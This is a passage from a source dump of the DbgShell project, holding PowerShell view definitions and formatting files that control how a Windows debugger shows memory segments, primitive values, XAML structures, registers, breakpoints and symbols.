New-AltPropertyListItem -PropertyName 'Modules' } # end List view New-AltSingleLineViewDefinition { $name = $_.get_Name() if( [String]::IsNullOrEmpty( $name ) ) { $name = $_.get_Id().ToString() } New-ColorString -Content $name -Fore Magenta -Back DarkBlue } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrAppDomain # New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrHeap' { # } # end Type Microsoft.Diagnostics.Runtime.ClrHeap New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrSegment' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Start' { Format-DbgAddress $_.get_Start() } New-AltScriptListItem -Label 'End' { Format-DbgAddress $_.get_End() } # New-AltPropertyListItem -PropertyName 'Length' # TODO: format byte size New-AltScriptListItem -Label 'Length' { $len = $_.get_Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } New-AltPropertyListItem -PropertyName 'Heap' New-AltPropertyListItem -PropertyName 'ProcessorAffinity' New-AltPropertyListItem -PropertyName 'IsLarge' New-AltPropertyListItem -PropertyName 'IsEphemeral' New-AltScriptListItem -Label 'CommittedEnd' { Format-DbgAddress $_.get_CommittedEnd() } New-AltScriptListItem -Label 'ReservedEnd' { Format-DbgAddress $_.get_ReservedEnd() } New-AltScriptListItem -Label 'FirstObject' { Format-DbgAddress $_.get_FirstObject() } New-AltScriptListItem -Label 'Gen0Start' { Format-DbgAddress $_.get_Gen0Start() } # New-AltPropertyListItem -PropertyName 'Gen0Length' New-AltScriptListItem -Label 'Gen0Length' { $len = $_.get_Gen0Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } New-AltScriptListItem -Label 'Gen1Start' { Format-DbgAddress $_.get_Gen1Start() } # New-AltPropertyListItem -PropertyName 'Gen1Length' New-AltScriptListItem -Label 'Gen1Length' { $len = $_.get_Gen1Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } New-AltScriptListItem -Label 'Gen2Start' { Format-DbgAddress $_.get_Gen2Start() } # New-AltPropertyListItem -PropertyName 'Gen2Length' New-AltScriptListItem -Label 'Gen2Length' { $len = $_.get_Gen2Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } } # end List view # New-AltSingleLineViewDefinition { # } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrSegment } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.DebuggeeTypes.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be), but the definitions in this file are for .NET primitive values, which # symbol value conversion may have translated a symbol value into. # # The alternate formatting engine can find these view definitions because the # alternate formatting engine use the "TypeNames" list of a PSObject to look up # view definitions. # Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName 'System.String' { New-AltSingleLineViewDefinition { # Hacky, but I think this view definition would be over-broad # otherwise. The problem with using the debugger type is that # strings aren't very well specified... is "char*" a pointer to a # zero-terminated string, or to just one char, or what? And on top # of that, we strip off the '*' when putting the debugger type in # the TypeNames, because we dereference the pointer for the user. if( $null -eq $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { return $_ } $cs = (New-ColorString -Content '"').AppendPushPopFg( [ConsoleColor]::Cyan, $_ ).Append( '"' ) $cs } # end AltSingleLineViewDefinition # TODO: Investigate filing a bug to change PS behavior. The problem occurs when # you have a string wrapped in a custom PSObject with modified TypeNames (this is # in a normal shell): # # PS C:\Users\danthom> $pso = New-Object System.Management.Automation.PSObject -arg @( [string] 'hi' ) # PS C:\Users\danthom> $pso # hi # PS C:\Users\danthom> $pso.PSObject.TypeNames.Insert( 0, "asdf" ) # PS C:\Users\danthom> $pso # # Length # ------ # 2 # # PS C:\Users\danthom> # # Curiously Get-FormatData does not return anything for System.String, so it must # be a hard-coded thing. My workaround is to have this formatting definition. But # it doesn't give the exact same behavior as a normal string value (TODO 2: I # might be able to change the alt formatting engine to give these same results, # though): # # PS C:\Users\danthom> $normalString = "hi" # PS C:\Users\danthom> $normalString # hi # PS C:\Users\danthom> $normalString | fl # hi # PS C:\Users\danthom> $normalString | ft # hi # PS C:\Users\danthom> $normalString | fl -for # # # Length : 2 # # # # PS C:\Users\danthom> $normalString | ft -force # # Length # ------ # 2 # # # PS C:\Users\danthom> # New-AltCustomViewDefinition { if( $null -ne $_ ) { $_.ToString() } else { $_ } } # TODO: In normal PowerShell, explicitly sending a primitive value (like a string # or int) through Format-List or Format-Table just prints out the value, /unless/ # -Force is used (in which case you get a not-very-useful generated viwe). But in # our custom formatting engine, if you, for instance, send an int explicitly to # Format-AltTable, you'll get the crummy view. So the TODO is to figure out a way # to just spit the primitive out (unless -force is used, I guess). It may not be # quite straightforward because it's not like we can do it with normal view # definitions--it'll have to be a special case somewhere. } # end Type System.String New-AltTypeFormatEntry -TypeName 'System.Guid' { New-AltSingleLineViewDefinition { # # Hacky, but I think this view definition would be over-broad # # otherwise. # if( $null -eq $_.PSObject.Methods[ 'DbgGetSymbol' ] ) # { # return $_ # } $cs = New-ColorString -Foreground DarkGreen -Content $_.ToString() $cs } # end AltSingleLineViewDefinition } # end Type System.Guid New-AltTypeFormatEntry -TypeName 'System.UInt64' { #[Console]::WriteLine( "Get-PsContext: current module context is: $($ExecutionContext.SessionState.Module)" ) #$host.EnterNestedPrompt() function fmtUlong( $ulong ) { if( $ulong -lt 10 ) { return $ulong.ToString() } return [string]::Format( '0x{0}', ([MS.Dbg.DbgProvider]::FormatUInt64( $ulong, $true )) ) } New-AltSingleLineViewDefinition { fmtUlong $_ } -CaptureContext # end AltSingleLineViewDefinition New-AltCustomViewDefinition { fmtUlong $_ } -CaptureContext # end AltCustomViewDefinition } # end Type System.UInt64 New-AltTypeFormatEntry -TypeName 'System.UInt32' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0x{0:x}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.UInt32 New-AltTypeFormatEntry -TypeName 'System.UInt16' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0x{0:x4}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.UInt16 New-AltTypeFormatEntry -TypeName 'System.Byte' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0x{0:x2}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.UInt8 New-AltTypeFormatEntry -TypeName 'System.Int64' { New-AltSingleLineViewDefinition { if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0n{0}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int64 New-AltTypeFormatEntry -TypeName 'System.Int32' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, so this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0n{0}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int32 New-AltTypeFormatEntry -TypeName 'System.Int16' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } #return [string]::Format( '0n{0:d4}', $_ ) return [string]::Format( '0n{0}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int16 New-AltTypeFormatEntry -TypeName 'System.SByte' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0n{0:d2}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int8 New-AltTypeFormatEntry -TypeName '!' { New-AltSingleLineViewDefinition { if( $_ -is [bool] ) { $_ } else { $bitfieldLen = $_.DbgGetSymbol().MemberInfo.BitfieldLength $asStr = [System.Convert]::ToString( $_, 2 ) # base 2 $zeroesNeeded = $bitfieldLen - $asStr.Length if( $zeroesNeeded -gt 0 ) { $asStr = (New-Object 'System.String' -Arg @( [char] '0', $zeroesNeeded )) + $asStr } if( $bitfieldLen -gt 4 ) { $asStr += [String]::Format( " (0x{0:x})", $_ ) } return '0y' + $asStr } } # end AltSingleLineViewDefinition } # end Type } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.DebuggeeTypes.wrl.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # We could use a converter to just use its _hstring value in its place, but # the problem with that is that Windows::Internal::String is an abstract # type, so maybe there are derived types that add other stuff that we might # want to see. It doesn't have a vtable, so Derived Type Detection won't # save us. New-AltTypeFormatEntry -TypeName '!Windows::Internal::String' { New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_._hstring } # end AltSingleLineViewDefinition } # end Type Windows::Internal::String } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.DebuggeeTypes.xaml.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # We keep private, shared functions in FmtUtils.ps1. If you have a script block that # needs to use them, be sure to use -CaptureContext, else they won't be available when # the script block is run. . "$PSScriptRoot\FmtUtils.ps1" New-AltTypeFormatEntry -TypeName '!XPOINTF' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': x = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.x ). Append( ', y = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.y ) } # end AltSingleLineViewDefinition } # end Type XPOINTF New-AltTypeFormatEntry -TypeName '!XPOINTD' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': x = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.x ). Append( ', y = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.y ) } # end AltSingleLineViewDefinition } # end Type XPOINTD New-AltTypeFormatEntry -TypeName '!XRECTF_RB' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() # CSS does top, right, bottom, left. Why did they start with left? Hm. (New-ColorString).Append( $sym.Type.ColorName ). Append( ': L,T,R,B = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.left ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.top ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.right ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.bottom ) } -CaptureContext # end AltSingleLineViewDefinition } # end Type XRECTF_RB New-AltTypeFormatEntry -TypeName '!XRECTF_WH' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': X,Y,W,H = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.X ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.Y ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.Width ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.Height ) } -CaptureContext # end AltSingleLineViewDefinition } # end Type XRECTF_WH New-AltTypeFormatEntry -TypeName '!XSIZEF' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() # CSS does top, right, bottom, left. Why did they start with left? Hm. (New-ColorString).Append( $sym.Type.ColorName ). Append( ': width = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.width ). Append( ', height = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.height ) } -CaptureContext # end AltSingleLineViewDefinition } # end Type XSIZEF New-AltTypeFormatEntry -TypeName '!XGRIDLENGTH' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': type = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.type ). Append( ', value = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.value ) } # end AltSingleLineViewDefinition } # end Type XGRIDLENGTH New-AltTypeFormatEntry -TypeName 'Windows_UI_Xaml!CDependencyObject' { New-AltSingleLineViewDefinition { $type = $_.DbgGetOperativeSymbol().Type $cs = (New-ColorString).Append( $type.ColorName ).Append( ': ' ) if( $_.Name ) { $null = $cs.Append( '"' ).AppendPushPopFg( [ConsoleColor]::Cyan, $_.Name ).Append( '"' ) } else { $null = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, "" ) } if( $_.ClassName ) { $null = $cs.Append( ' ClassName: ' ). AppendPushPopFg( [ConsoleColor]::Green, $_.ClassName ) } if( $_.PSObject.TypeNames -contains 'Windows_UI_Xaml!CImageBase' ) { if( ($_.m_pImageSource -ne 0) -and ($_.m_pImageSource.m_pstrSource -ne 0) ) { $null = $cs.Append( ' Source: ' ). AppendPushPopFg( [ConsoleColor]::Magenta, (poi $_.m_pImageSource.m_pstrSource) ) } } $cs } # end AltSingleLineViewDefinition # We want to define a custom table format, but let the custom view for base type # DbgUdtValue take precedence. So we'll just ask for the DbgUdtValue's view and # emit it again here. $udtVdi = Get-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgUdtValue' ` -FormatInfoType ([MS.Dbg.Formatting.AltCustomViewDefinition]) $udtVdi.ViewDefinitionInfo.ViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Type' -Alignment Left -Width 22 -Script { $_.DbgGetOperativeSymbol().Type.ColorName } New-AltScriptColumn -Label 'Name' -Alignment Left -Width 30 -Script { New-ColorString -Content $_.Name -Fore 'Cyan' } New-AltScriptColumn -Label 'ClassName' -Alignment Left -Width 40 -TrimLocation 'Left' -Script { New-ColorString -Content $_.ClassName -Fore 'Green' } New-AltScriptColumn -Label 'Size' -Alignment Center -Script { $type = $_.DbgGetOperativeSymbol().Type if( !$type.Members.HasItemNamed( 'm_pLayoutStorage' ) -or ($_.m_pLayoutStorage -eq 0) ) { return '' } $size = $_.m_pLayoutStorage.m_size (New-ColorString -Content $size.Width.ToString() -Fore White). AppendPushPopFg( [ConsoleColor]::DarkGray, ([char] 0x00d7) ). AppendPushPopFg( [ConsoleColor]::White, $size.Height.ToString() ) } # end Size column } # End Columns } # end Table view } # end Type Windows_UI_Xaml!CDependencyObject } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.Format.Color.ps1xml ================================================  DbgProviderNamespaceTypes MS.Dbg.DbgContainer MS.Dbg.DbgItem Custom-ToString-Types MS.Dbg.DbgEventArgs MS.Dbg.DbgRegisterSetBase MS.Dbg.DbgStackInfo DbgProviderNamespaceTypes-GroupingFormat 4 $path = $_.PSParentPath.Replace("Debugger\Debugger::", "") if( $path.Length -eq 0 ) { $path = '\' } $path children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat 13 left if( $_.PSIsContainer ) { "[container]" } Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name MS.Dbg.DbgContainer Name [{0}] RegistersWide MS.Dbg.DbgRegisterItem [string]::Format( "{0}={1}", $_.RegisterInfo.Name, $_.RegisterInfo.GetValueString() ) RegisterTable MS.Dbg.DbgRegisterItem 8 right 26 left 14 center 14 center $_.RegisterInfo.Name $_.RegisterInfo.GetValueString() $_.RegisterInfo.DEBUG_VALUE.Type $_.RegisterInfo.IsSubregister RegisterList MS.Dbg.DbgRegisterItem $_.RegisterInfo.Name # TODO: deal with the weird precision floating type values so we can get rid of this try/catch try { $_.RegisterInfo.GetValueString() } catch { Write-Host "Caught: $_" } $_.RegisterInfo.IsSubregister $_.RegisterInfo.DEBUG_VALUE.Type Custom-ToString Custom-ToString-Types if( $_ -is [MS.Dbg.ISupportColor] ) { $_.ToColorString().ToString( [MS.Dbg.DbgProvider]::HostSupportsColor ) } else { $_.ToString() } ColorString MS.Dbg.ColorString $_.ToString( [MS.Dbg.DbgProvider]::HostSupportsColor ) DebugEventArgsList MS.Dbg.DbgEventArgs Message SpecificEventFilterTable MS.Dbg.DbgEngineEventFilter 20 right 6 center 12 center 16 left 26 left left FriendlyName Name ExecutionOption ContinueOption Argument Command ExceptionEventFilterTable MS.Dbg.DbgExceptionEventFilter 30 left 6 center 10 center 19 center 16 left left left FriendlyName Name ExceptionCode [{0:x8}] ExecutionOption ContinueOption Command SecondCommand BreakpointTable MS.Dbg.DbgBreakpointInfo 4 right 6 center 18 left 9 center 11 center left left Id if( $_.IsEnabled ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "e" } else { "E" } } else { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "D" } else { "d" } } if( $_.Offset -eq [UInt64]::MaxValue ) { return "" } [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $False, $true ) [string]::Format( "{0}/{1}", $_.NativeParams.CurrentPassCount, $_.NativeParams.PassCount ) if( $_.NativeParams.MatchThread -eq 4294967295 ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "-" } else { "***" } } else { $_.NativeParams.MatchThread.ToString( "x" ) # TODO: is this an address or an id or what? i think for user mode it's the tid } if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { [string]::Format( "({0})", $_.SymbolicName ) } else { $_.SymbolicName } Command ModuleInfoTable MS.Dbg.DbgModuleInfo 20 left 18 center 18 center 21 center left Name [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress, $False, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress + $_.Size, $False, $true ) SymbolStatus if( ($_.SymbolType -ne 'NONE') -and ($_.SymbolType -ne 'DEFERRED') -and ($_.SymbolType -ne 'EXPORT') ) { $_.SymbolFileName } FieldInfoTable MS.Dbg.DbgFieldInfo 10 right 30 left 35 left left Offset +0x{0:x3} Name $_.Type.Name "tbd" FieldInfoList MS.Dbg.DbgFieldInfo Name Offset +0x{0:x3} $_.Type.Name "tbd" DEBUG_SYMBOL_ENTRY_list Microsoft.Diagnostics.Runtime.Interop.DEBUG_SYMBOL_ENTRY [MS.Dbg.DbgProvider]::FormatAddress( $_.ModuleBase, $False, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $False, $true ) Id 0x{0:x} Size 0x{0:x} TypeId 0x{0:x} Token Arg64 0x{0:x} Arg32 0x{0:x} Tag DbgSymbolInfoTable MS.Dbg.DbgSymbol 5 right 30 left 35 left center 18 8 left Index Name $_.Type.Name if( $_.IsValueUnavailable ) { #'<value unavailable>' " - " } elseif( $_.IsValueInRegister ) { # TODO: COLORIZE "@" + $_.Register.Name } else { [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $False, $true ) } if( $_.IsValueUnavailable ) { '' } else { [string]::Format( "0x{0:x}", $_.DSE.Size ) } DbgSymbolInfoList MS.Dbg.DbgSymbol Name if( $_.IsValueUnavailable ) { '<value unavailable>' } else { [System.Text.StringBuilder] $sb = New-Object "System.Text.StringBuilder" [void] $sb.Append( "{ " ) if( $_.IsValueInRegister ) { [void] $sb.Append( '@' ) [void] $sb.Append( $_.Register.Name ) } else { [void] $sb.Append( [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $False, $true ) ) } #$sb.AppendFormat( "{0:x} bytes", $_.DSE.Size ) [void] $sb.Append( " : 0x" ) [void] $sb.Append( $_.DSE.Size.ToString( "x" ) ) [void] $sb.Append( " bytes, " ) [void] $sb.Append( $_.DSE.Tag.ToString() ) [void] $sb.Append( ", ... }" ) $sb.ToString() } Flags ExpansionLevel Module "{" + $_.Type.Name + ", size 0x" + $_.Type.Size.ToString( "x" ) + ", ... }" Children Index ================================================ FILE: DbgShell/x64/Debugger/Debugger.Format.ps1xml ================================================  DbgProviderNamespaceTypes MS.Dbg.DbgContainer MS.Dbg.DbgItem Custom-ToString-Types MS.Dbg.DbgEventArgs MS.Dbg.DbgRegisterSetBase MS.Dbg.DbgStackInfo DbgProviderNamespaceTypes-GroupingFormat 4 $path = $_.PSParentPath.Replace("Debugger\Debugger::", "") if( $path.Length -eq 0 ) { $path = '\' } $path children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat 13 left if( $_.PSIsContainer ) { "[container]" } Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name MS.Dbg.DbgContainer Name [{0}] RegistersWide MS.Dbg.DbgRegisterItem [string]::Format( "{0}={1}", $_.RegisterInfo.Name, $_.RegisterInfo.GetValueString() ) RegisterTable MS.Dbg.DbgRegisterItem 8 right 26 left 14 center 14 center $_.RegisterInfo.Name $_.RegisterInfo.GetValueString() $_.RegisterInfo.DEBUG_VALUE.Type $_.RegisterInfo.IsSubregister RegisterList MS.Dbg.DbgRegisterItem $_.RegisterInfo.Name # TODO: deal with the weird precision floating type values so we can get rid of this try/catch try { $_.RegisterInfo.GetValueString() } catch { Write-Host "Caught: $_" } $_.RegisterInfo.IsSubregister $_.RegisterInfo.DEBUG_VALUE.Type Custom-ToString Custom-ToString-Types $_.ToString() ColorString MS.Dbg.ColorString $_.ToString( $false ) DebugEventArgsList MS.Dbg.DbgEventArgs Message SpecificEventFilterTable MS.Dbg.DbgEngineEventFilter 20 right 6 center 12 center 16 left 26 left left FriendlyName Name ExecutionOption ContinueOption Argument Command ExceptionEventFilterTable MS.Dbg.DbgExceptionEventFilter 30 left 6 center 10 center 19 center 16 left left left FriendlyName Name ExceptionCode [{0:x8}] ExecutionOption ContinueOption Command SecondCommand BreakpointTable MS.Dbg.DbgBreakpointInfo 4 right 6 center 18 left 9 center 11 center left left Id if( $_.IsEnabled ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "e" } else { "E" } } else { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "D" } else { "d" } } if( $_.Offset -eq [UInt64]::MaxValue ) { return "" } [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $False, $true ) [string]::Format( "{0}/{1}", $_.NativeParams.CurrentPassCount, $_.NativeParams.PassCount ) if( $_.NativeParams.MatchThread -eq 4294967295 ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "-" } else { "***" } } else { $_.NativeParams.MatchThread.ToString( "x" ) # TODO: is this an address or an id or what? i think for user mode it's the tid } if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { [string]::Format( "({0})", $_.SymbolicName ) } else { $_.SymbolicName } Command ModuleInfoTable MS.Dbg.DbgModuleInfo 20 left 18 center 18 center 21 center left Name [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress, $False, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress + $_.Size, $False, $true ) SymbolStatus if( ($_.SymbolType -ne 'NONE') -and ($_.SymbolType -ne 'DEFERRED') -and ($_.SymbolType -ne 'EXPORT') ) { $_.SymbolFileName } FieldInfoTable MS.Dbg.DbgFieldInfo 10 right 30 left 35 left left Offset +0x{0:x3} Name $_.Type.Name "tbd" FieldInfoList MS.Dbg.DbgFieldInfo Name Offset +0x{0:x3} $_.Type.Name "tbd" DEBUG_SYMBOL_ENTRY_list Microsoft.Diagnostics.Runtime.Interop.DEBUG_SYMBOL_ENTRY [MS.Dbg.DbgProvider]::FormatAddress( $_.ModuleBase, $False, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $False, $true ) Id 0x{0:x} Size 0x{0:x} TypeId 0x{0:x} Token Arg64 0x{0:x} Arg32 0x{0:x} Tag DbgSymbolInfoTable MS.Dbg.DbgSymbol 5 right 30 left 35 left center 18 8 left Index Name $_.Type.Name if( $_.IsValueUnavailable ) { #'<value unavailable>' " - " } elseif( $_.IsValueInRegister ) { # TODO: COLORIZE "@" + $_.Register.Name } else { [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $False, $true ) } if( $_.IsValueUnavailable ) { '' } else { [string]::Format( "0x{0:x}", $_.DSE.Size ) } DbgSymbolInfoList MS.Dbg.DbgSymbol Name if( $_.IsValueUnavailable ) { '<value unavailable>' } else { [System.Text.StringBuilder] $sb = New-Object "System.Text.StringBuilder" [void] $sb.Append( "{ " ) if( $_.IsValueInRegister ) { [void] $sb.Append( '@' ) [void] $sb.Append( $_.Register.Name ) } else { [void] $sb.Append( [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $False, $true ) ) } #$sb.AppendFormat( "{0:x} bytes", $_.DSE.Size ) [void] $sb.Append( " : 0x" ) [void] $sb.Append( $_.DSE.Size.ToString( "x" ) ) [void] $sb.Append( " bytes, " ) [void] $sb.Append( $_.DSE.Tag.ToString() ) [void] $sb.Append( ", ... }" ) $sb.ToString() } Flags ExpansionLevel Module "{" + $_.Type.Name + ", size 0x" + $_.Type.Size.ToString( "x" ) + ", ... }" Children Index ================================================ FILE: DbgShell/x64/Debugger/Debugger.Formatting.psm1 ================================================ Set-StrictMode -Version Latest <# This module defines the functions necessary to create, register, and use the view definitions that are used by DbgShell's alternate formatting engine. #> [bool] $__outStringColorShimProxyDebugSpew = ![string]::IsNullOrEmpty( $env:OutStringColorShimProxyDebugSpew ) [bool] $__formatDefaultProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatDefaultProxyDebugSpew ) [bool] $__formatStringProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatStringProxyDebugSpew ) [bool] $__formatTableProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatTableProxyDebugSpew ) [bool] $__formatListProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatListProxyDebugSpew ) [bool] $__formatCustomProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatCustomProxyDebugSpew ) <# .SYNOPSIS Allows you to preserve a null string when passing it to a .NET API. .DESCRIPTION In PowerShell, null strings get auto-converted to empty strings. Perhaps useful for some 